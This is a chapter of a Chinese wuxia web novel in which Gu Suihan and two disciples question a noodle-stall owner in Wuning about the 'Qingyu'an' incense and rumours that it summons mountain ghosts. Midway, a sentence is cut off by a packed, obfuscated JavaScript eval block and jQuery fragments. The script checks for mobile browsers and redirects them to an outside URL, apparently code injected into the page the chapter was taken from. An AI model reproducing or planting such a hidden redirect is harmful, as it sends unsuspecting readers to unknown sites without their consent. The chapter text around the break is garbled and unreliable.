姬泠恐怕是通过什么蛛丝马迹怀疑到姬漓身上了。那封信便是她试探姬漓的手段。
她应该没想到姬漓在整个镇妖塔中蛊母般的地位,而是怀疑姬漓里通外国。她着意让姬漓看到了那封写有落棋阁真实地址的信件,再根据姬漓接下来的表现来验证自己猜测的真实性。
没想到姬漓最后却借那封信反压一招,将姬泠推入了万劫不复。
可这里头还有一些关节说不通。如果只是为了试探的话,姬泠交出去的底牌还是太大了。落棋阁的具体位置太重要了,少了这一环,沈和正那老头压根没办法直接捅到总舵去。
也正是这个具体的位置,将姬泠,还有当时几乎所有在总舵的人送下了地狱。
姬泠当真是这么草率的一个人吗?
顾岁寒想不通,恨不得把姬泠从坟里刨出来问问这堪称脑袋被水淹了的决定究竟怎么想的。
而镇妖塔在南盛的第一剑便斩向了姬泠,作为她的亲妹妹,镇妖塔的管理者姬漓又是怎么想的呢?
谢停舟描述中一片和乐的生日宴上,真的像表面看上去那样宾主尽欢吗?
顾岁寒晃了晃头。这种事情猜测也没有意义,不如把姬漓自己抓回来问问靠谱。她定了定神,道:“走,去芜宁。”
芜宁距锦官五十余里,仅靠几个黑棋提着气轻功赶路过去还是有些吃力。端木昂和陈二娘这俩小弟子也没有练了御剑的,万般无奈之下,顾岁寒管凤彩珠借了三匹马。
三个人骑马进城太过显眼,于是顾岁寒在半路勒马,把马拴在了城外十里的驿站里,赁了一间屋子换上普通的衣服。三人扮作行走江湖人士,徒步进了芜宁城。
芜宁不及锦官繁华,但城里百姓其乐融融、安居乐业,一副安然治世之景。顾岁寒提前找凤彩珠要了城里的地图,但没急着直接去探青鸟坊,而是在附近找了个抄手摊坐了下来,一人点了一碗鲜香麻辣的红油抄手。
等抄手煮好的间隙,隔着大半条街,顾岁寒暗中观察那处挂着“青鸟坊”的小楼。这声名在外的香阁此刻却是门可罗雀,门口迎宾的小童十分无聊,用木棍在门口的沙地上写写画画。
顾岁寒看了一会,没看出来什么端倪,收回了目光,正好撞上了抄手摊老板有些瑟缩的眼神。为了显得“江湖游侠”这个身份更加真实,几个人都把兵器放在了明面上。顾岁寒的那把“展锋”哪怕不出鞘都有一股古拙而沉重的杀意,没人敢靠近。那老板给他们端碗时都有些哆哆嗦嗦的:“几,几位大侠,你们的抄手好了……”
“老板,”顾岁寒和颜悦色地打断了他,“我等此次来,是久闻你城中青鸟坊成香盛名,想给我家大小姐带些回去。可我看如今这青鸟坊门庭凋敝,似乎并无生意,这是什么缘故?”
“啊,”听说了他们的真实来意,这老板顿时松了口气,“几位初来乍到,恐怕不知,这青鸟坊当初成名,便是因为我们这上一位知府,韩大人,他的夫人十分喜欢青鸟坊中的‘采莲’这一味香,于是妇人们纷纷效仿,这才使得青鸟坊生意兴隆。”
“可前些天临安传来消息,韩大人居然是个对陛下有异心的小人,而且这青鸟坊前两天还闹出来过疑似窝藏人犯的事,我们便都不敢光顾这儿了。”
顾岁寒心说这才哪到哪,过两天你们还会听说姬漓也不是什么好鸟呢。端木昂从他俩的对话里发现了表现自己的机会,迅速换上了一副“可惜了”的神情:“啊,我家大小姐久闻这青鸟坊的‘青玉案’盛名,没想到它居然不是这香阁的招牌么?”
这老板听见“青玉案”的名字之后,神色几变:“这……这青玉案,要是给了你家小姐,恐怕不妥。”
顾岁寒事先猜测过这“青玉案”中肯定有鬼,但没料到普通百姓竟也知道其中玄机,颇为意外:“此话怎讲?”
老板支吾半晌,似乎有什么难言之隐。顾岁寒见状,拿出一锭银子放在桌上,悄声道:“大哥,您行行好,我家大小姐可是指明了要这香的,我们几个跑腿的,总不能给大小姐带了个祸患回去不是?”
老板看着银锭,神色松动了些许,犹豫了片刻才把银锭塞进腰间。他收了银子,却还是不急着说,已经有些浑浊了的双眼四下环顾了一圈,才谨慎地开了口:“我们这里都传言,这‘青玉案’,可是会招山鬼的呀!”
三人对视了一眼。顾岁寒第一次听到这种说法,和之前自己的猜测大不相同:“山鬼?”
“对,山鬼。”老板咽了口口水,声音压得更低了,“我们这里山多水多,年年都要祭山神,祈祷来年风调雨顺,五谷丰登。我们这里的山神叫‘姑善’,据说居住在最高的慈川山中。”
慈川山得名于山中流出来的罗江河。此山坐落于芜宁的西边,不仅高,山中植被也茂密,堪称遮天蔽日,因而进去很容易迷路。除非是有经验的山民,否则一般人都不敢单独进山。
不过,尽管见不到“山神”,但芜宁关于山神的传说可不少。不少世代居住于山脚下的村民都说自己亲眼见过“山神”现世,连山神长什么样穿什么颜色的衣服都说得有头有脸。芜宁在山神的庇佑下,和和乐乐了数百年。
可就在不到十年前的一个春天,一直慈爱而平和地照顾着此地百姓的罗江忽然决堤改道,淹死城中无数百姓。重新建好了新堤坝后,时任知府韩玉青提议,此次决堤或是山神发怒,不如组织大祭一次。
而所谓“青玉案”,其实是韩玉青为了那次祭礼特意吩咐青鸟坊按照古方配的敬神香。
“古方?”听到这里,顾岁寒没忍住打断道,“哪里来的古方?”
“据说是府衙里找出来的一本县志上记载的,”抄手摊老板摇了摇头,“我也不识字,不明白这些。但总而言之,他们都说那次祭礼按照古礼操办,十分隆重。”
可这场繁琐而郑重的祭祀,最终似乎并没有获得预想中的好效果。
按照县志中的记载,祭礼行到献贡果这一步时,山神就会出现,拿走贡果,并向百姓撒下福泽。可那日韩玉青捧着装满蒴果的青铜盘在烈日中国站了许久,都没能等来山神现世。
更诡异的事还在后面。
祭礼完成之后,不少原本见过“山神”的村民在进山时都见到了山里的“黑影”。起先,这些黑影只是从远处一闪而过,并不会靠近,很多人都以为是自己眼花,将树藤之类看作了人形。
可随着流言愈演愈烈,第一起黑影伤人的意外终于发生了。被袭击的村民原本和家人说了要进山采药,却三五日迟迟未归。家人焦急之下组织相熟的邻居上山寻找,终于在一处隐蔽的山沟里找到了已然昏迷的人。
从山沟上的痕迹看,他本来应当在山沟边上踮脚采集树上的野果,却被人从后面推了一把,从高处跌落到沟里,把腿摔折了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15708465|165650||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不说,头也撞到了一块突出的坚硬石头上。
众人大呼小叫地唤醒了这个村民。他一睁眼,便惨叫了起来:“我,我,我看见我阿爹阿娘了!他们推了我!”
说这话时,这村民的爹娘已然双双入土五六年了。所有人都以为这是这个村民把头撞坏了的胡言乱语,可随着时间的推移,这种情况越来越多。不少人都见到了已然逝去的亲人,但没有人会为阴阳两隔的亲人重逢而感到欣喜——毕竟大部分人见到的“亲人”和传说中的诈尸也没什么区别。
渐渐地,一个流言从慈川山脚开始,渐渐流传到了芜宁城中——所谓的“青玉案”用了污-秽之物,山神因而发怒,不愿显灵,派手下的山鬼来惩治人类。
“等,等等,”这发展太过迅速,顾岁寒一时没跟上,“怎么就和‘青玉案’有关了?整个祭礼中那么多环节,不能是别的地方出错了吗?”
“他们说其他环节和县志上记载的都别无二致,只有这‘青玉案’配方不详……老头子我也不清楚,反正这说法传到这儿时就是这样的了。”老板讳莫如深地直摇头,“而且不只是‘山鬼’,芜宁有些喜欢‘青玉案’的小姑娘买这香来用,也跟中了邪似的直说乱话,所以我们这的人都说这香邪性,招山鬼。”
顾岁寒奇道:“这香不是敬神香么,怎么也能买来随便用?我之前跟着我家小姐闻过一次,跟那寺庙里的香也没啥两样,不怎么好闻,那些夫人小姐买来做什么?”
老板摇头:“嗨呀,那我怎么知道?她们都说那香里有什么‘慈川清香’,好闻的嘞!”
顾岁寒:“……”反正她没闻出来。
又来了新的客人,老板拍了拍沾油的围裙站起身,低声道:“这事啊,我老头子也就知道这么多了,几位大侠自己掂量着吧,反正我是觉得这香晦气。”
顾岁寒点点头:“好,多谢您,您先忙吧。”
老板乐呵呵地走了。端木昂看那新客人离得远,凑过来低声问顾岁寒:“执棋,这是怎么回事?”
顾岁寒摸了摸自己的鼻尖,却不直说,买了个关子道:“你们觉得呢?”
端木昂有些面露难色。一直没怎么出声的陈二娘却细弱道:“之前执棋同我们说,‘青玉案’很有可能是一种用来役使傀儡的媒介,而傀儡术最开始正是用来赶尸回乡的,所以我猜那些村民看到的‘黑影’‘山鬼’,很有可能都是被青玉案控制的傀儡。”
端木昂反驳:“可是按照刚刚那个老板的说法,这青玉案一开始可是敬山神用的呀!难不成那山神也是个傀儡吗?”
陈二娘不自信惯了,刚刚在顾岁寒面前提出这样大胆的猜测已然耗光了她好不容易积攒起来的勇气,被这么一质疑立马烟消云散:“我,我只是猜……”
顾岁寒却忽然开口打断了她的话:“说不定真是呢。”
陈二娘一愣,意识到她是在回答端木昂之前的那句话。可她也觉得这猜测有些荒谬了:“那可是山神……”
“山神又怎么样呢?”顾岁寒坐累了,换了个姿势,懒洋洋地支着脑袋,“山神受人供奉,便要回报百姓以他们所祈祷的福泽……这难道不是另一种意义上的,被人所役使的傀儡吗?”
明明天还热得叫人发汗,这话却叫人遍体生寒。
“走了,”顾岁寒站了起来,“在这乱猜也没有意义,咱们不如自己试试。”